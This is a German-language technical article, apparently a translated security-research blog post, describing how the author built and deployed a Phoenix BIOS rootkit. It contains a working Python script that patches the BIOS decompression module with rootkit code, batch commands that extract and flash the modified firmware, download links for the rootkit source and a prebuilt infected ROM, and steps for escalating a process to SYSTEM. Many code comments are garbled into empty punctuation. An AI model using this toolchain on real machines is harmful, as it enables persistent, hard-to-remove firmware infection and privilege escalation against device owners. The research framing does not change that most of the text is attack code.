Entpacken und Patchen des BIOS
Nachdem wir nun wissen, wie wir das Rootkit in das BIOS einfügen möchten, besteht der nächste Schritt darin, das BIOS tatsächlich mit unserem Rootkit-Code zu patchen. Dazu müssen wir alle BIOS-Module extrahieren, das Entpackungsmodul patchen und alles neu erstellen. Module können mit dem Dienstprogramm phxdeco console oder dem Phoenix BIOS Editor extrahiert werden. Nachdem das Entpackungsmodul extrahiert wurde, wird es mit dem folgenden Code mit unserem Rootkit gepatcht:
#!/usr/bin/python
import os,struct,sys
###############################################
# BIOS -
# Phoenix BIOS Editor ( Windows) , , «DECOMPC0.ROM».
# C:\Program Files\Phoenix Bios Editor\TEMP ( ) BIOS WPH. .
# , BIOS Editor BIOS - BIOS Editor BIOS WPH.
# phnxdeco.exe, .
# , NASM , .
#
# INPUT:
# , asm- BIOS .
#
# OUTPUT:
# DECOMPC0.ROM, , , , asm- BIOS.
#
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#
shellcode = sys.argv[1].lower()
# . NASM , !
os.system('nasm %s' % shellcode)
#
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# , 0x23 ROM .
# ROM , push, CLD. mov.
# , .
# , , Near Call, ROM- , .
# NOP .
minihook = '\xe8\x28\x04\x90\x90\x90'
# , , !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# ROM
decorom = open('DECOMPC0.ROM','rb').read()
# - 0x23, CLD
hookoffset=0x23
# ROM , ,
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# ROM NOP.
# , , .
decorom+="\x90"*100+decomphook
# 10 NOP .
decorom=decorom+'\x90'*10
# ROM,
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# ROM
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#
print "The DECOMPC0.ROM file has now been patched."
Ein Beispiel für das Aufrufen dieses Skripts könnte sein:
python patchdecomp.py biosrootkit.asm
Wenn alles gut funktioniert, sollten Sie Folgendes sehen:
Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.
Erstellen Sie das BIOS neu
Für primäre BIOS-Dateien, wie die in VMware enthaltene, können eine Reihe von Befehlszeilendienstprogrammen, die im Phoenix Bios Editor enthalten sind (oder von Intel erhältlich sind), zum Wiederherstellen verwendet werden. Später, beim Testen auf einem realen PC, musste das BIOS nicht nur im Primärformat gespeichert werden, sodass die GUI-Version von Phoenix Bios Editor als Tool für die Neuerstellung verwendet wurde. Leider bedeutet dies, dass es nicht möglich ist, nur eine Anwendung auf dem System auszuführen, um das BIOS zu infizieren, zumindest ohne die vorbereiteten Tools zu verwenden.
Dies bedeutet, dass die BIOS-Infektion ein dreistufiger Prozess ist, der einige manuelle Eingriffe erfordert, hauptsächlich den Zusammenbau. Der Phoenix BIOS Editor mit geöffnetem BIOS-Image wird unten angezeigt:
Der Phoenix BIOS Editor wurde nicht entwickelt, um Module zu ersetzen, bietet jedoch eine solche Möglichkeit. Wenn das BIOS-Image zum ersten Mal geöffnet wird, werden alle BIOS-Module in einem Ordner in auf die Festplatte extrahiert
C:\Program Files\Phoenix BIOS Editor\TEMP\. Das Entpackungsmodul kann aus diesem Ordner kopiert, repariert und ersetzt werden. Mit dem Phoenix BIOS Editor können Sie das BIOS nicht unverändert speichern. Um das BIOS zu speichern, müssen Sie einen Zeichenfolgenwert ändern und ihn dann wieder ändern (oder einfach so lassen).
Der BIOS-Rootkit-Quellcode und die Patching-Skripte können über die Links am Ende dieses Artikels heruntergeladen werden, wenn Sie alles selbst erledigen möchten.
Echter PC
Das Phoenix-BIOS wurde in allen VMware-basierten Designs verwendet, daher wurde es auch zum Testen auf einem physischen PC ausgewählt. Alle physischen (im Gegensatz zu virtuellen) BIOS-Tests wurden mit einem HP Pavilion ze4400-Laptop durchgeführt. Ursprünglich waren BIOS-Tests mit einem PC und nicht mit einem Laptop geplant, da es viel einfacher wäre, bei Bedarf zum Flashen auf das PC-Motherboard zuzugreifen. Unabhängig davon war es nicht einfach, schnell einen PC mit Phoenix BIOS zu finden, daher musste ich stattdessen einen Laptop verwenden (besonderer Dank geht an David für das Flashen meines Laptops, nachdem ich versehentlich den Quellcode in mein BIOS geschrieben habe!)
BIOS auf dem PC extrahieren
Der erste Schritt zum Ändern eines echten System-BIOS besteht darin, eine Kopie davon zu extrahieren. Phoenix verfügt über zwei verschiedene Tools, die normalerweise für diesen Zweck bereitgestellt werden, eines mit dem Namen "Phlash16" und das andere mit dem Namen "WinPhlash". Phlash16 ist ein Befehlszeilenprogramm (mit einer Konsolen-GUI), das jedoch nur unter DOS ausgeführt wird. WinPhlash läuft, wie der Name schon sagt, unter Windows. Obwohl es sich um ein GUI-Dienstprogramm handelt, akzeptiert es auch Befehlszeilenparameter, mit denen wir den BIOS-Extraktionsprozess automatisieren können. Für dieses Projekt habe ich mehrere Skripte erstellt, um die BIOS-Extraktion und das Patchen zu automatisieren, aber sie sind eher primitiv und nicht sehr funktional.
Das folgende Batch-Skript kopiert das BIOS in eine Datei mit dem Namen
BIOSORIG.WPHund überprüft dann, ob es zuvor geändert wurde. Perl-SkriptCheckFlash.py Überprüft nur den Inhalt des BIOS auf meinen Namen, der sich in keinem unveränderten BIOS befindet.
@rem BIOS , .
@rem
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem , BIOS
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH
BIOS auf dem PC entpacken und patchen
Nach dem Extrahieren des BIOS besteht der nächste Schritt darin, es mit unserem Rootkit-Code zu patchen. Dies kann mit denselben Skripten erfolgen, die wir in den obigen Abschnitten für VMware verwendet haben. Das Ziel dieses Projekts war es, einen möglichst konsistenten Patch- und Patching-Prozess zu erstellen. Ich bin sehr froh, dass es sich als vollständig machbar herausgestellt hat, sodass dieselben Tools für völlig unterschiedliche Hardware verwendet werden können, die auf demselben BIOS-Typ ausgeführt wird.
Erstellen Sie das BIOS auf dem PC neu
Es gibt zwar ein kostenloses Tool, mit dem Module aus dem Phoenix-BIOS extrahiert werden können, aber es sieht so aus, als würde nur der Phoenix Bios-Editor sie so erstellen, wie es typische PCs erfordern. Für das WinPhlash-Tool muss das BIOS zusätzliche Informationen enthalten, die zusammen mit dem unformatierten BIOS in einer WPH-Datei gespeichert werden. Nach dem Testen vieler verschiedener Optionen scheint die einzige Möglichkeit, eine WPH-Datei erfolgreich zu erstellen, die Verwendung der Benutzeroberfläche des Phoenix Bios Editor zu sein. Leider bedeutet dies, dass es unmöglich ist, nur eine Anwendung auf einem System auszuführen, um das BIOS zu infizieren, zumindest ohne die bereitgestellten Tools zu verwenden.
Theoretisch sollte es möglich sein, das WPH-Format zurückzuentwickeln und ein benutzerdefiniertes BIOS-Remontage-Tool zu erstellen. Dies liegt jedoch außerhalb des Rahmens dieses Projekts. Stattdessen ist das Infizieren des BIOS ein dreistufiger Prozess, der einige manuelle Eingriffe erfordert, hauptsächlich die Neuerstellung.
Wie beim Patchen des VMware-BIOS können Sie dieselbe Technik verwenden, damit Phoenix BIOS Editor das gepatchte Modul neu erstellt. Wenn das BIOS-Image zum ersten Mal geöffnet wird, werden alle BIOS-Module in einem Ordner in auf die Festplatte extrahiert
C:\Program Files\Phoenix BIOS Editor\TEMP\... Das Entpackungsmodul kann aus diesem Ordner kopiert, gepatcht und ersetzt werden. Mit dem Phoenix BIOS Editor können Sie das BIOS nicht intakt halten. Sie müssen daher einen Zeichenfolgenwert ändern und ihn dann zurücksetzen (oder einfach so belassen), um das BIOS zu speichern.
BIOS blinkt
Nachdem das BIOS in eine WPH-Datei wiederhergestellt wurde, verschiebt das folgende Batch-Skript das neue BIOS-Image in das BIOS-EEPROM und startet den Computer neu, damit die Änderungen wirksam werden:
@rem "BIOSPATCHED.WPH" BIOS , .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH
Änderungsergebnisse auf einem Laptop
Im Folgenden wird gezeigt, wie der BIOS-Code auf den Laptop portiert wurde (gestartet mit dem oben beschriebenen Skript infect.bat):
Nach Abschluss des Flashens wurde das BIOS-Rootkit erfolgreich gestartet und im Windows-Kernel gestartet. Der folgende Screenshot zeigt eine Befehlszeile, die zunächst als normaler Benutzer ausgeführt wird und deren Berechtigungen nach 30 Sekunden erhöht werden:
Dies zeigt, dass das BIOS-Rootkit portabel genug war, um auf mehreren Systemen (VMware, HP Laptop) ausgeführt zu werden, und dass die Infektionsmechanismen vorhanden waren funktionsfähig und funktioniert einwandfrei.
Das für dieses Projekt entwickelte "Rootkit" führt nur eine einfache Aufgabe aus. Wie jedoch in Bezug auf die Vbootkit2-Software erwähnt, gibt es keinen Grund, warum keine zusätzlichen Funktionen hinzugefügt werden können. Dieses Projekt enthielt das Phoenix-BIOS, und es ist wahrscheinlich, dass es viele Ähnlichkeiten zwischen dem Phoenix-BIOS und dem BIOS anderer Hersteller gibt. Obwohl es wahrscheinlich ist, dass der Code für jeden Anbieter separat geschrieben werden muss, gibt es nicht so viele davon. Daher ist es ratsam, die Funktionalität des Rootkits auf alle gängigen Anbieter zu erweitern.
In der Einleitung habe ich festgestellt, dass neue BIOS-Funktionen wie signierte Updates vieles, was hier beschrieben wird, viel weniger zu einer Sicherheitsbedrohung machen. Dies ist sicherlich schön zu bemerken, aber es ist auch erwähnenswert, dass es mehr "veraltete" Computer als "neue" gibt, so dass diese Art von Angriff noch lange ein Problem sein wird.
VMware BIOS Demo und Quellcode
Der folgende Quellcode und das überarbeitete BIOS dienen als Proof of Concept. Ich schlug keineswegs vor, dass die Leute dies nehmen und für böswillige Zwecke verwenden würden, sondern ich wollte zeigen, dass solche Angriffe in älteren BIOS-Konfigurationen durchaus machbar sind. Ich halte es nicht für realistisch, diese Arbeit in ihrer jetzigen Form in funktionsfähige Malware umzuwandeln. Aus diesem Grund veröffentliche ich diesen Code im Internet.
Wie in den vorherigen Abschnitten erwähnt, sollte dieser Code zum Patchen der meisten Phoenix-BIOS funktionieren. Die Patching-Skripte können hier heruntergeladen werden:
BIOS_Based_Rootkit_Patch_Scripts.zip
Der Quellcode des BIOS-Rootkits kann hier heruntergeladen werden:
biosrootkit.asm
Sie benötigen NASMum den BIOS-Patchcode zu kompilieren, wenn Sie die oben genannten Skripte / Quellcode verwenden. Damit NASM erfolgreich funktioniert, fügen Sie entweder die Pfadvariable hinzu oder aktualisieren Sie das Patching-Skript, um einen absoluten Pfad zu dieser zu erhalten. Sie benötigen außerdem eine Kopie des Phoenix BIOS-Editors oder ein kostenloses Äquivalent, um den Entpacker wieder in das vollständige BIOS zu versetzen.
Wenn Sie dies alles nicht selbst kompilieren und nur herumstöbern möchten, was ich habe, können Sie das gepatchte BIOS zur Verwendung mit VMware hier herunterladen:
BIOS_rootkit_demo.ROM
Proof-of-Concept und Notizen verwenden
Wenn Sie nicht alle oben genannten Arbeiten lesen möchten, finden Sie hier eine Übersicht darüber, wie Sie es ausprobieren und was es tut.
- Laden Sie zuerst das Bild
BIOS_rootkit_demo.ROMüber den obigen Link herunter . - , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
- WinXP, , ,
.vmx(,WindowsXP.vmx) . , :bios440.filename = "BIOS_rootkit_demo.ROM". ,BIOS_rootkit_demo.ROM, . - ,
pwn.exe(,cmd.exe). - Warten Sie 30 Sekunden und starten Sie dann den Task-Manager. Es
Pwn.exesollte jetzt als Benutzer "SYSTEM" ausgeführt werden, nicht als Benutzer, den Sie bei XP angemeldet haben.
Die obigen Schritte sollten in einer idealen Welt funktionieren. Als Ergebnis der Tests wurden jedoch die folgenden Tänze mit einem Tamburin enthüllt!
- Instabilität des Betriebssystems. Manchmal gibt
pwn.exeWindows beim Laden oder Schließen einer Anwendung ein BSOD aus. - Der Task-Manager lügt über den Benutzer Ihres Prozesses, wenn Sie ihn vor der Eskalationszeit der 30er-Jahre öffnen. Verwenden Sie so etwas wie cmd mit whoami, um Ihre Berechtigungen korrekt zu überprüfen.
- Obwohl ich dies erfolgreich auf einen echten PC heruntergeladen habe, bin ich nicht für die Ergebnisse verantwortlich, wenn Sie dasselbe tun. Ich würde gerne hören, wie Sie Ihr Motherboard auf lächerliche Weise vermauern, wenn das passiert, aber ich werde Ihnen wahrscheinlich nicht bei den Konsequenzen helfen! Test auf eigenes Risiko!
Wenn Sie nur ein Video sehen möchten, wie es passiert, hat Colin es auf YouTube gepostet: Ich empfehle, dies tatsächlich auf VMware zu versuchen. Es macht viel mehr Spaß zu sehen, wie das Bereinigen Ihrer Festplatte nichts löst und Ihr System immer noch erstaunt ist!